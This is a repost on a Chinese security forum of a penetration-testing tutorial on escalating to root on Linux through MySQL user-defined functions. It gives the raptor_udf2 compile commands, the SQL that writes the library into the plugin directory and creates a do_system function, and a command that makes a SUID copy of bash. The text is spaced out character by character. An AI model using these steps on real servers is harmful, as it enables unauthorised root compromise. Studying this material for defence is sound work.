搜索

[29136] 2021-08-31_【渗透测试】Linux权限提升——利用用户定义的函数

文档创建者：s7ckTeam
浏览次数：79
最后更新：2025-01-19
2021-08-31_【渗透测试】Linux权限提升——利用用户定义的函数 【 渗 透 测 试 】 L i n u x   权 限 提 升 — — 利 用 用 户 定 义 的 函 数 O t s 安 全   2 0 2 1 - 0 8 - 3 1 点 击 上 方 蓝 字 “ O t s 安 全 ” 一 起 玩 耍 介 绍 介 绍 M y S Q L   中 的 用 户 定 义 函 数 用 于 通 过 添 加 与 内 置 函 数 相 同 的 外 部 代 码 来 扩 展 功 能 。 某 些 版 本 的   M y S Q L   受 漏 洞 影 响 ， 这 些 漏 洞 可 能 允 许 具 有 数 据 库   r o o t   访 问 权 限 的 攻 击 者 在   M y S Q L   进 程 的 上 下 文 中 执 行 代 码 ， 并 提 升 权 限 。 识 别 漏 洞 识 别 漏 洞 首 先 要 检 查   M y S Q L   是 否 以   r o o t   权 限 运 行 ， 可 以 使 用 以 下 命 令 完 成 ： 接 下 来 ， 查 找 正 在 运 行 的   M y S Q L   版 本 将 揭 示 它 是 否 可 能 受 到 提 权 漏 洞 的 影 响 ： 该 版 本 的   M y S Q L   受 到 一 个 漏 洞 的 影 响 ， 该 漏 洞 允 许 用 户 在   M y S Q L   的 上 下 文 中 运 行 用 户 定 义 的 函 数 来 执 行 命 令 ， 在 这 种 情 况 下 是   r o o t 。 最 后 ， 需 要 以   r o o t   用 户 身 份 访 问   M y S Q L ， 这 可 以 通 过 在 服 务 器 上 存 在 的   W e b   应 用 程 序 使 用 的 数 据 库 连 接 文 件 中 查 找 凭 据 或 通 过 尝 试 空 白 或 默 认 凭 据 （ 例 如   r o o t   和   t o o r ） 来 获 得 ： 开 发 开 发 创 建 可 用 于 利 用 此 漏 洞 的 用 户 定 义 函 数 的 代 码 可 以 从   E x p l o i t   D B   镜 像 ， 然 后 必 须 将 其 编 译 为 共 享 对 象 文 件 ： p s   a u x   |   g r e p   m y s q l m y s q l   - V m y s q l   - u   r o o t   - p   - e   ' s e l e c t   @ @ v e r s i o n ; ' g c c   - g   - c   1 5 1 8 . c   - o   r a p t o r _ u d f 2 . o   - f P I C
然 后 可 以 使 用   P y t h o n   S i m p l e   H T T P   S e r v e r   和   W g e t   将 其 传 输 到 目 标 主 机 ： 在   M y S Q L   中 ， 可 以 使 用 以 下 命 令 创 建 一 个 包 含 共 享 对 象 路 径 的 新 表 ， 复 制   / u s r / l i b / m y s q l / p l u g i n   下 的 相 同 文 件 并 创 建 一 个 “ d o _ s y s t e m ” 函 数 ， 该 函 数 将 g c c   - g   - s h a r e d   - W l , - s o n a m e , r a p t o r _ u d f 2 . s o   - o   r a p t o r _ u d f 2 . s o   r a p t o r _ u d f 2 . o   - l c u s e   m y s q l ; c r e a t e   t a b l e   f o o ( l i n e   b l o b ) ; i n s e r t   i n t o   f o o   v a l u e s ( l o a d _ f i l e ( ' < p a t h   t o   U D F   f i l e > ' ) ) ; s e l e c t   *   f r o m   f o o   i n t o   d u m p f i l e   ' / u s r / l i b / m y s q l / p l u g i n / u d f _ f i l e _ n a m e . s o ' ; c r e a t e   f u n c t i o n   d o _ s y s t e m   r e t u r n s   i n t e g e r   s o n a m e   ' u d f _ f i l e _ n a m e . s o ' ;
如 果   M y S Q L   实 例 中 使 用 的 插 件 目 录 不 是 默 认 目 录 ， 则 可 以 使 用 以 下 命 令 从   M y S Q L   中 显 示 当 前 插 件 目 录 ： 然 后 可 以 使 用 “ s e l e c t   d o _ s y s t e m ” 语 句 以   r o o t   身 份 执 行 命 令 ： 可 以 使 用 相 同 的 函 数 创 建   / b i n / b a s h   二 进 制 文 件 的   S U I D   副 本 ， 当 使 用   - p   标 志 执 行 时 ， 允 许 以 所 有 者 身 份 执 行 二 进 制 文 件 ， 将 授 予 对 主 机 的 r o o t   访 问 权 限 ： s h o w   v a r i a b l e s   l i k e   ' % p l u g i n % ' ; s e l e c t   d o _ s y s t e m ( ' < c o m m a n d > ' ) ; s e l e c t   d o _ s y s t e m ( ' c p   / b i n / b a s h   / t m p / s t e f ;   c h m o d   + x s   / t m p / s t e f ' ) ;
如 果   M y S Q L   显 示 一 个 错 误 ， 指 出 插 件 大 小 接 近 于 零 ， 只 需 使 用   B a s h   将 静 态 目 标 文 件 复 制 到   M y S Q L   p l u g i n s   文 件 夹 中 ， 然 后 按 照 上 述 步 骤 执 行 “ 创 建 函 数 ” 查 询 以 创 建 用 户 定 义 的 函 数 。 如 果 前 面 显 示 的 用 户 定 义 函 数 的 代 码 不 起 作 用 ， M e t a s p l o i t   和   S Q L M a p   还 带 有 可 用 于 利 用 此 漏 洞 的 预 编 译 函 数 ： 这 种 攻 击 在   L i n u x   和   W i n d o w s   上 都 有 效 ， 差 别 很 小 。 结 论 结 论 M y S Q L   中 的 用 户 定 义 函 数 可 以 很 好 地 为 您 的   M y S Q L   实 例 添 加 附 加 功 能 并 自 动 执 行 某 些 流 程 ， 但 如 果 易 受 攻 击 ， 这 可 能 允 许 攻 击 者 完 全 破 坏 您 的 服 务 器 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理